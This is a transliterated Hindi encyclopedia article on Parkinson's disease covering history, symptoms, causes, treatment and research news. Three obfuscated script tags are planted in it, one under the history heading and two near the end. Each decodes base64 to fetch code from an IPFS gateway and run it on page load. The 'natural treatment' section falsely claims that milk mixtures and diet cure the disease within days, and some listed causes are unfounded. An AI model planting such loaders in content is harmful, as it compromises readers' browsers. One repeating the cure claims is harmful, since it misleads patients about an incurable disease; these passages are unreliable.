पार्किंसन

parkinh‍san rog ke mariz|thumb|200px parkinh‍san / parkiansan rog (Parkinson's disease) parkinsonijm / kampavat rog amataur se 50 sal se adhik umr valoan ko hoti hai. yah manasik sthiti ke badalav sanbandhit bimari hai. isaki pahachan hath pair sthir rakhane par usaka kaanpana, hath pair jak dan, lekin jab hath pair gati karate haian, to unamean kanpan nahian hota. manasik sthiti mean badalav ke karan parkisan ke mariz ki poore sharir ki aantarik kriyaoan ke sath bahari kriyaean bhi dhimi ho jati haian.

itihas

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

chikitsa shastr mean bahut kam bimariyoan ke nam kisi daktar ya vaijnanik ke nam par rakhe gaye haian. am taur par aisa karane se bacha jata hai. parantu landan ke phijishiyan d aau. jems parkinsan ne sanh 1817 mean is rog ka pratham varnin kiya tha vah itana satik v vistrit tha ki aj bhi usase behatar kar pana, kuchh aanshoan mean sambhav nahian mana jata hai. halaanki naya jnan bahut sa ju da hai. phir bhi parampara se jo nam chal pada use badala nahian gaya. d aau. jems parkinsan ke nam par is bimari ko jana jata hai. isake bad se ab tak lagatar is par stadi chal rahi hai, lekin kisi khas natije tak nahian pahuancha ja saka hai. parkinsonijm ka karan aj bhi rahasy bana hua hai, bavajood is tathy ke ki us disha mean bahut shodh kary hua hai, bahut se chikitsa vaijnanikoan ne varshoan tak chintan kiya hai aur bahut si upayogi janakari ekatr ki hai. vaijnanik pragati prayah aise hi hoti hai. chamatkar birale hi hote haian. 1917 se 1920 ke varshoan mean duniya ke anek deshoan mean phloo (ya inphlooenja) ka ek khas gambhir roop mahamari ke roop mean dekha gaya. vah ek prakar ka mastishk jvar tha. jise ensephelaitis letharjika kahate the kyoanki usamean rogi anek saptahoan tak ya mahinoan tak sota rahata tha. us avastha se dhire-dhire mukt hone vale anek rogiyoan ko bad mean parkinsonijm hua. 1920 se 1940 tak ke dashakoan mean mana jata tha ki parkinsonijm ka yahi mukhy karan hai. sochate the, aur sahi bhi tha ki inphlooeanja vayaras ke kitanu mastishk ki unhian koshikaoan ko nasht karate haian jo mool parkinsan rog mean prabhavit hoti haian. nyooyark ke prasiddh nyooralajist lekhak d aau. aaulivar seks ne in marizoan par kitab likhi, us par avekanig (jagana) nam se film bani - is adhar par ki lambe samay se sushupt rahane ke bad kaise ye mariz, naye yug mean, nayi duniya mean jage. ripavan vikal ki kahani ki tarah. saubhagy se 1920 ke bad ensephelaitis letharjika ke aur mamale dekhane mean nahian ae. lekin parkinsonijm rog usi prakar hota raha hai. avashy hi koee aur karan hone chahiye.

lakshan

parkinh‍san rog ke lakshan|thumb|200px parkinsan rog kisi vyakti ko achanak nahian hota hai. yah ek dimag ka rog hai jo lambe samay dimag mean pal raha hota hai. is rog ka prabhav dhire-dhire hota hai. pata bhi nahian padata ki kab lakshan shuroo hue. anek saptahoan v mahinoan ke bad jab lakshanoan ki tivrata badh jati hai tab ahasas hota hai ki kuchh gadabad hai.

• jab yah rog kisi vyakti ko ho jata hai to rogi vyakti ke hath tatha pair kanpakanpane lagate haian. kabhi-kabhi is rog ke lakshan kam hokar khatm ho jate haian. is rog se pi dit bahut se rogiyoan mean hath tatha pairoan ke kanp-kanpane ke lakshan dikhaee nahian dete haian, lekin vah likhane ka kary karata hai tab usake hath likhane ka kary karane mean asamarth ho jate haian. yadi rogi vyakti likhane ka kary karata bhi hai to usake dvara likhe akshar tedhe-medhe ho jate haian. rogi vyakti ko hath se koee padarth pak dane tatha uthane mean dikkat mahasoos hoti hai. is rog se pi dit rogi ke jab de, jibh tatha aankhean kabhi-kabhi kanpakanpane lagati hai.
• bahut sare marizoan mean parkinh‍sonijh‍m rog ki shuruat kampan se hoti hai. kampan arthath dhoojani ya dhoojan ya tremar ya kaanpana. kampan aang mean -- hath ki ek kalaee ya adhik aanguliyoan ka, hath ki kalaee ka, baanh ka. pahale kam rahata hai. yadakada hota hai. ruk ruk kar hota hai. bad mean adhik der tak rahane lagata hai v any aangoan ko bhi prabhavit karata hai. prayah ek hi or (dayean ya bayean) rahata hai, parantu anek marizoan mean, bad mean donoan or hone lagata hai.
• aram ki avastha mean jab hath tebal par ya ghutane par, zamin ya kursi par tika hua ho tab yah kampan dikhaee padata hai. barik sadhe hue kam karane mean dikkat ane lagati hai, jaise ki likhana, batan lagana, dadhi banana, mooanchh ke bal katana, suee mean dhaga pirona. kuchh samay bad mean, usi or ka paanv prabhavit hota hai. kampan ya usase adhik mahattvapoorn, bharipan ya dhimapan ke karan chalate samay vah pair ghisatata hai, dhire uthata hai, der se uthata hai, kam uthata hai. dhimapan, samast gatividhiyoan mean vyapt ho jata hai. chal dhimi / kam dhima. sharir ki maansapeshiyoan ki takat kam nahian hoti hai, lakava nahian hota. parantu sughadata v sphoorti se kam karane ki kshamata kam hoti jati hai .
• jab yah rog dhire-dhire badhata hai to rogi ki vibhinn maansapeshiyoan mean kathorata tatha k dapan ane lagata hai. sharir ak d jata hai, hath pairoan mean jakadan hoti hai. mariz ko bharipan ka ahasas ho sakata hai. parantu jakadan ki pahachan chikitsak behatar kar pate haian - jab se mariz ke hath pairoan ko mod kar v sidha kar ke dekhate haian bahut pratirodh milata hai. mariz janaboojh kar nahian kar raha hota. jakadan vala pratirodh apane ap bana rahata hai.
• vyakti ko chalane-phirane mean bahut dikkat hoti hai. khade hote samay v chalate samay mariz sidha tan kar nahian rahata. thoda sa age ki or jhuk jata hai. ghutane v kuhani bhi thode mude rahate haian. qadam chhote hote haian. paanv zamin mean ghisatate hue avaz karate haian. qadam kam uthate haian girane ki pravritti ban jati hai. dhalan vali jagah par chhote qadam jaldi-jaldi uthate haian v kabhi-kabhi rokate nahian banata . chalate samay bhujaean sthir rahati haian, age pichhe jhoolati nahian . baithe se uthane mean der lagati hai, dikkat hoti hai . chalate -chalate rukane v mudane mean pareshani hoti hai . sharirik baileans big d jata hai. jab rogi ki chal aniyantrit tatha aniyamit ho jati hai to chalate-chalate rogi vyakti kabhi-kabhi gir jata hai.
• chehare ka drishy badal jata hai. aankhoan ka jhapakana kam ho jata hai. parkinh‍san rog ke lakshan|thumb|200px|left aankheanan chaudi khuli rahati haian. vh‍yakti manoan satat ghoor raha ho ya takataki lagae ho . chehara bhavashoony pratit hota hai batachit karate samay chehare par khilane vale tarah-tarah ke bhav v mudraean (jaise ki muskurana, hansana, krodh, duahkh, bhay adi ) prakat nahian hote ya kam nazar ate haian.
• khana khane mean takaliphean hoti hai. bhojan nigalana dhima ho jata hai. gale mean atakata hai. kampan ke karan gilas ya kap chhalakate haian. hathoan se kaur tapakata hai. muanh se pani-lar adhik nikalane lagata hai. chabana dhima ho jata hai. thasaka lagata hai, khaansi ati hai.
• avaz dhimi ho jati hai tatha kanpakanpati, l dakh dati, hakalati tatha aspasht ho jati hai, sochane-samajhane ki takat kam ho jati hai aur rogi vyakti chupachap baithana pasand karata hai. niand mean kami, vajan mean kami, kabjiyat, jaldi saans bhar ana, peshab karane mean rukavat, chakkar ana, khade hone par aandhera ana, seks mean kamazori, pasina adhik ata hai.
• uparokh‍t varnit anek lakshanoan mean se kuchh, prayah vriddhavastha mean bina parkinh‍sonijh‍m ke bhi dekhe ja sakate haian . kabhi-kabhi yah bhed karana mushkil ho jata hai ki boodhe vyaktiyoan mean hone vale kampan, dhimapan, chalane ki dikkat dagamagapan adi parkinh‍sonijh‍m ke karan haian ya sirf umr ke karan.

umr aur sankhya

18 vian sadi mean samane aee bimari 'parkinsan' abhi bhi logoan ke lie ek rahasy bani huee hai. parkinsan rog samoochi duniya mean, samast nasloan v jatiyoan mean, stri purushoan donoan ko hota hai. lekin purushoan mean isaka asar tho da zyada dekha gaya hai. yah mukhyataya adhed umr v vriddhavastha ka rog hai. 50 ki umr par karane ke bad vaise to yah bimari kisi ko bhi ho sakati hai, 60 varsh se adhik umr vale har sau vyaktiyoan mean se ek ko yah hota hai. vikasit desho mean vriddhoan ka pratishat adhik hone se vahaan isake mamale adhik dekhane ko milate haian. is rog ko mitaya nahian ja sakata hai. vah anek varshoan tak bana rahata hai, badhata rahata hai. isaliye jaise jaise samaj mean vriddh logoan ki sankhya badhati hai vaise-vaise isake rogiyoan ki sankhya bhi adhik milati hai. vartaman mean vishv ke 60 lakh se zyada log isaki chapet mean haian. akele amerika mean hi isase das lakh se zyada log prabhavit haian, logoan ki ausat umr badhane (laiph eksapekteansi) ke sath-sath bharat mean bhi isake shikaroan ki sankhya lagatar badhati ja rahi hai.

mastishk ki koshikaean

parkinh‍san rog ka mastishk mean dopamin|thumb|200px yah bimari 50 varsh ki umr ke bad hoti hai. isase mariz ki sharirik gatividhiyaan dhimi ho jati haian aur dimag bhi sahi dhang se kam karana band kar deta hai. yah mastishk ke ek chhote se gahare kendriy bhag mean sthit sels ke daimej hone ki vajah se hoti hai lekin akhir ye sels daimej kyoan hoti haian, isake bare mean koee janakari nahian hai. bren ke ek khas hisse baisal gaiangliya mean strayatonayagral namak sels (sh‍traetam ki koshikaoan) hote haian. sabsateanshiya nigra (shabdik arth kala padarth) ki nyooran koshikaoan ki sankhya kam hone lagati hai. ve kshay hoti hai. unaki jaldi mrityu hone lagati hai. akar chhota ho jata hai. sh‍traetam tatha sabsateanshiya nigra (kala padarth) namak hissoan mean sthit in nyooran koshikaoan dvara risane vale rasayanik padarthoan (nh‍yoorotraansamitar) ka apasi santulan bigad jata hai. in sels se nikalane vala dopamin namak kemikal sharirik gatividhiyoan ko niyantrit karane ke lie nyoorotraansamitar ka kam karata hai. unake dvara risane vala mahattvapoorn rasayan nh‍yoorotraansamitar 'dopamin' kam banata hai tatha esitil kolin ki matra tulanatmak roop se badh jati hai. isase iansan ka sharirik gatividhiyoan par se kantrol hat jata hai. strayanotayagral ke marane ka kya karan hai, isase abhi bhi parda nahian uth paya hai. anek vyakhyaean v parikalpanaean haian . kuchh bhoomika shayad jins ya anuvaanshik gunoan ki ho, par adhik nahian.

karan

• philahal yah bhavishyavani kar pana asanbhav hai ki yah bimari kise ho sakati hai. halaanki kuchh stadij se yah pata laga hai ki parkinsan se pi dit lagabhag das pratishat marizoan ke parivar mean pahale bhi is tarah ki samasya dekhi gee thi arthath yah vanshanugat ho sakati hai. parkinh‍san rog ka mastishk|thumb|200px|left
• parkinsan rog vyakti ko adhik soch-vichar ka kary karane tatha nakaratmak soch or manasik tanav ke karan hota hai.
• kisi prakar se dimag par chot lag jane se bhi parkinsan rog ho sakata hai. isase mastishk ke bren postar kantrol karane vale hisse mean daimej ho jata hai.
• kuchh prakar ki aushadhiyaan jo manasik rogoan mean prayukh‍t hoti haian, adhik niand lane vali davaiyoan ka sevan tatha enti dipresiv davaiyoan ka sevan karane se bhi parkinsan rog ho jata hai.
• adhik dhoomrapan karane, tambakoo ka sevan karane, phast-phood ka sevan karane, sharab, pradooshan tatha nashili davaeeyoan ka sevan karane ke karan bhi parkinsan rog ho jata hai.
• sharir mean vitamin `ee´ ki kami ho jane ke karan bhi parkinsan rog ho jata hai.
• tarah-tarah ke inphekshan -- mastishk mean vayaras ke inphekshan (ensephelaitis) .
• mastishk tak khoon pahuanchane vale naliyoan ka avaruddh hona .
• maianganij ki vishaktata.

80 ke dashak mean sanyogavash dekha gaya hai ki braun shugar se milati julati nashe ki ek any vastu mean em.pi.ti.pi. namak padarth ki milavat vala ianjekshan lagavane vale kuchh yuvakoan mean parkinh‍sonijh‍m rog tezise vikasit hota hai . tab anuman lagaya gaya ki em.pi.ti.pi. jaisa padarth vatavaran se ya sharir se svatah kisi tarah paida hokar mastishk ki vishisht koshikaoan ko nuqasan pahuanchata hoga.

ilaj

parkinh‍san rog ka mastishk mean dopamin se ilaj|thumb|200px umr badhane ke sath hone vali yah bimari duniya bhar ke umradaraz़ logoan ke lie pareshani ka sabab bani huee hai. visheshajnoan ka kahana hai ki philahal bachav aur parmaneant ilaj n sahi, lekin samany jivan jine ke lie davaean zaroor upalabdh ho chuki haian. aise mean d aauktar ki salah aur parivar ke sahayog se mariz ki samasya ko kuchh had tak kam kiya ja sakata hai. is bimari ko j d se khatm karane vala ilaj abhi upalabdh nahian hai. lihaza, is bimari ke pesheant ko jivanabhar davaee khani p d sakati hai. halaanki davaoan se rokatham ho jati hai. lekin bimari ke asar ko kam karane ke lie kee tarah ki davaean upalabdh haian, jo dopamin ke strav ko badhane mean madad karati haian. lekin ye kafi mahangi hoti haian. inake said iphekts bhi bahut zyada dekhe jate haian, isalie visheshajn ki dekharekh mean hi ye davaean di jati haian. sahi tariqe se davaee lene se mariz 30 sal jak jivit rah sakata hai. parkisan ke marizoan ko davaiyoan ka sevan sahi tariqe se karana chahie. isake sath hi is bimari ke lie dip bren stimyuleshan sarjari bhi hone lagi hai. dilli mean yah suvidha keval sirf ems v armi h aauspital mean upalabdh hai. yahaan bhi sarjari ka kharch lagabhag paanch lakh rupe ata hai. marizoan ko sanbhal kar chalana chahie kyoanki ve achanak l dakh dakar gir sakate haian, jisase pair hath par chotean a sakati hai. sath hi unhean sharirik shram karane par bhi savadhaniyaan baratani chahie. bimari ko j d se khatm karane sanbandhit davaoan par vishv ke jane mane nyoorolajist lagatar risarch kar rahe haian. daktar jayavelloo ne bataya ki risarch abhi enimal step par hai. jald yah hyooman step par a jaega. isake bad parkisans bimari bhi j d se khatm ki ja sakegi.

prakritik chikitsa

• parkinsan rog ko thik karane ke lie 4-5 dinoan tak pani mean niboo ka ras milakar pina chahie. isake alava is rog mean nariyal ka pani pina bhi bahut labhadayak hota hai.
• is rog mean rogi vyakti ko phaloan tatha sabjiyoan ka ras pina bhi bahut labhadayak hota hai. rogi vyakti ko lagabhag 10 dinoan tak bina paka hua bhojan karana chahie.
• soyabin ko doodh mean milakar, tiloan ko doodh mean milakar ya bakari ke doodh ka adhik sevan karane se yah rog kuchh hi dinoan mean thik ho jata hai.
• rogi vyakti ko hari pattedar sabjiyoan ka salad mean bahut adhik prayog karana chahie.
• rogi vyakti ko jin padartho mean vitamin `ee´ ki matra adhik ho bhojan ke roop mean un padarthoan ka adhik sevan karana chahie.
• rogi vyakti ko k aauphi, chay, nashili chizean, namak, chini, dibbaband khady padarthoan ka sevan nahian karana chahie.
• pratidin kuchh halke vyayam karane se yah rog jaldi thik ho jata hai.
• parkinsan rog se pi dit rogi ko apane vicharoan ko hamesha sakaratmak rakhane chahie tatha khush rahane ki koshish karani chahie.
• is prakar se prakritik chikitsa se pratidin upachar kare to parkinsan rog jaldi hi thik ho jata hai.

parkinh‍san se june shodh aur prayog

kolestr aaul badhane se parkiansan ka khatara

sharir mean kolestr aaul ki adhik matra ko lekar chikitsak savadhan karate rahate haian. ab ek taja adhyayan mean kaha gaya hai ki sharir mean kolestr aaul ka star adhik hone par parkiansan rog ki ashanka badh jati hai. phinalaiand ki rajadhani helasianki mean naishanal pablik helth ianstityoot ke pramukh risarchar d aau. gaang hoo ne kaha ki kolestr aaul adhik hone se hriday rog ke khatare ki bat to pahale hi pata thi, lekin siram mean kolestr aaul ke star se tantrika tantr ko nuqasan ke bare mean bahas jari thi. is shodh se yah bat saf ho gee hai ki sharir mean adhik kolestr aaul ka arth hai, khataranak parkinsan rog ka badha jokhim.

asani se bat kar sakeange ‘parkiansan’ rogi

v aaushiangatan: ek visheshajn ne dava kiya hai ki parkiansan ke rogi batachit ke ek samany tariqe par amal kar avaz mean asamany kampan ki samasya se mukt hokar sahaj tarike se batachit kar sakate haian. pardyoo vishvavidyalay mean vani, bhasha evan shravan vijnan vibhag ki sahayak prophesar jesika hyoovar ne batachit ka yah tarika sujhaya hai. vah kahati haian, “is rog se grast logoan ko amooman batachit karane mean l dakh dahat hoti hai. avaz mean asamany kampan hone ke karan ve sahaj tarike se bat nahian kar pate haian. mera sootr bilkul saral hai. aise logoan ko ooanche svar mean bolane ke lie kahie. isase unaki avaz mean spashtata aegi.” unhoanne jo tarika vikasit kiya hai usamean rogiyoan ko tez bolane ko kaha jata hai, jabaki unake bolane ke dauran kee logoan ki batachit vala kaiset bajaya gaya. kee logoan ki batachit vala yah kaiset kisi restaraan taiyar kiya gaya. vah kahati haian, “jab maianne isake rogiyoan se do bar tez bolane ke lie kaha to ve 10 desibel se zyada tez nahian bol pae, lekin jab shoragul vale kaiset ko sath-sath bajaya gaya to in logoan ki avaz 10 desibel se tez ho gee.” prishthabhoomi ki avaz ke is prabhav ko ‘lombard prabhav’ kahate haian. samany log bhi shoragul ke bich tez avaz mean bolate haian. is rog ke marizoan par ve yahi tarika apanae jane ki salah deti haian.

parkiansan marizoan ke lie dibies thairepi

parkiansan marizoan ke lie dip bren stimuleshan (dibies) therepi ummid ki kiran lekar aya hai. nee duniya, dilli sanskaran mean aj prakashit khabar ke mutabiq, 65 varshiy ravish kumar rastogi ne paanch mahine tak is therepi se ilaj karaya, jisake bad bahut had tak thik ho ge haian aur kavitaean likhane ka apana purana shauq poora kar rahe haian. qarib 12 sal pahale unhean parkiansan hone ka pata chala tha tabhi se vah sharirik v manasik kamazoriyoan ke kan samaj se poori tarah kat se ge the. paanch mahine pahale maiks aspatal mean unhoanne yah therepi leni shuroo ki aur ab jivan ko sahi tarike se ji rahe haian. saket sthit maiks supar speshiyaliti aspatal mean ke nyoor aaulist d aau.punit agraval v nyooro sarjan d aau.sandip vaishy ne bataya ki dibies ek sarjikal prakriya hai. isaka upayog aksham banane vale kee nyoorol aaujikal lakshan ke upachar ke lie kiya jata hai. is samay is prakriya ka upayog sirf un marizoan ke lie kiya jata hai jinaki bimari ke lakshanoan ko davaiyoan se achchhi tarah thik nahian kiya ja sakata hai.

parkiansan se bachata hai vitamin 'di'

jin vyaktiyoan ke sharir mean vitamin 'di' b di matra mean maujood hai, unamean parkiansan bimari hone ka khatara kam hota hai. yah bat ek ne shodh se pata chali hai jo phinalaiand mean kiya gaya hai. phinalaiand mean samasya yah hai ki doosare yooropiy deshoan ki tulana mean vahaan sooraj poore sal mean bahut hi kam dikhaee deta hai. shodhakartaoan ka manana hai ki jab lanbe samay tak sharir mean vitamin 'di' ki matra kam rahati hai, tab bren ke aandar aisa nuqasan hota hai jisaki vajah se parkiansan ho sakata hai. sooraj ki kiranean vitamin 'di' ka b da srot haian. bahut hi kam aise khady padarth haian jinamean vitamin 'di' paya jata hai. yadi sharir mean vitamin 'di' ki matra kam hoti hai to usase haddiyoan mean kamojari, kaiansar, dil ki bimariyoan aur dayabitij ho sakati hai, lekin ab vitamin 'di' ki kami parkiansan ki vajah bhi ban sakati hai. phinalaiand mean 1978 se 2007 tak huee risarch mean 3173 logoan ko shamil kiya gaya tha. unamean se 50 log akhirakar parkiansan ka shikar bane. risarch ke mutabiq jin logoan ke sharir mean vitamin 'di' ki koee kami nahian thi, unamean parkiansan ka shikar hone ka khatara 67 phisadi kam tha.

dimag ke anasulajhe rahasyoan ka chalega pata

parkisan marizoan ke lie khushakhabari hai. ab nyoorosaiantist nee bren imejiang takanik ko apanane ja rahe haian jisase parkiansan pi ditoan ke dimag ki sanrachana ke anasulajhe rahasyoan ka pata lagaya ja sakega. isake alava khoon ki matra aur pravah se ju di any janakariyaan samane aegi. is takanik ko pahali bar kisi iansan ke lie upayog kiya ja raha hai. is bren imejiang takanik ko arteriyal spin lebaliang nam diya gaya hai. yah eesel takanik parkiansan marizoan ke lie banae ja rahe khas dava ka parikshan karegi. vashiangatan yoonivarsiti aph medisin ke rirsacharoan ne bataya ki is takanik ki madad se nee dava ka parikshan behatar dhang se kiya ja sakega.

k aaufi ki chuski se parkiansan u dan chhoo!

amataur par log apani thakan door karane ke lie chay aur k aaufi pite haian. lekin kya ap janate hai ki k aaufi ki ye chuskiyaan parkinasan jaisi ganbhir bimari ke lie varadan sabit ho sakati haian. kyoanki lisban yoonivarsiti ke atanrrashtriy vaijnanikoan ki tim ne ye dava kiya hai ki k aaufi mean maujood kaifin se parkinasan hone ka khatara kam ho jata hai. k aaufi pine valoan mean se 26 logoan par kie ge shodh ke bad vaijnanik is natije par pahuanche haian ki k aauphi pine se parkisan ka khatara kam ho jata hai. rozana do se tin kap k aaufi pine se parkinasan hone ki sanbhavana 14 fisadi kam ho jati hai. halaanki ab tak is bat ka saf taur par pata nahian chal paya hai ki parkinasan se l dane mean kaifin hi karagar sabit ho rahi hai ya k aaufi mean maujood doosare tatv. filahal is mamale mean shodh jari hai, vahian kuchh vaijnanikoan ka kahana hai ki bhari matra mean chay k aaufi pina sehat ke lie hanikarak sabit ho sakata hai.

daravane sapane parkisan ka pahala sanket

barsilona. jo log sote vaqt achanak chikhane ya rone lagate haian unhean age chalakar parkisan bimari ho sakati hai. spen ke vaijnanikoan ka kahana hai ki jo log ‘areeem slip distarbes’ namak vikar se pi dit hote haian unhean parkisan aur dimeanshiya hone ka khatara hota hai. vaijnanikoan ne paya ki is vikar se pi dit 60 varsh se adhik umr ke 20 pratishat logoan ko age chalakar parkisan ya levi b aaudi dimeanshiya bimari ne jak d liya. barsilona sthit h aauspital klinik ke d aau. eleks iraanjo aur unaki tim ne is vikar se pi dit 60 varsh se adhik umr ke 43 marizoan par adhyayan kiya.

blad test se pata lagega parkisan

briten ke vaijnanik rakt jaanch ke jarie parkisan bimari ka ilaj dhooandh rahe haian. isase aranbhik star par hi bimari ka pata lagane mean madad milegi. poorv mean kie ge shodhoan mean kaha gaya hai ki jitani jaldi is bimari ka ilaj shuroo kar diya jae, utana hi mariz ke lie behatar hoga, kyoanki ilaj ke lie istemal ki jane vali davaoan se bimari ke karan dimag ki koshikaoan ko hone vale nuqasan ko kam karane mean madad milegi. kisi ko jab yah bimari hoti hai, to vah rakt mean "alpha-sainooklin" namak protin chho dati hai. isi protin ka star janane ke lie rakt jaanch ka sahara liya ja raha hai. parkisan bimari tab hoti hai jab gatividhiyoan ko niyantrit karane ke lie zimmedar dimagi koshikaean khatm hone lagati haian. halaanki, is bimari ka poorn roop se ilaj upalabdh nahian haian. shodh dal ke pramukh d aauktar painni pholdas ne kaha, jitana jaldi ham isaka ilaj kar sakean, utana hi behatar hoga. jab tak lakshanoan ka pata chalata hai, tab tak 70 pratishat dimagi koshikaean nasht ho jati haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

• parkinsan rog
• parkinsan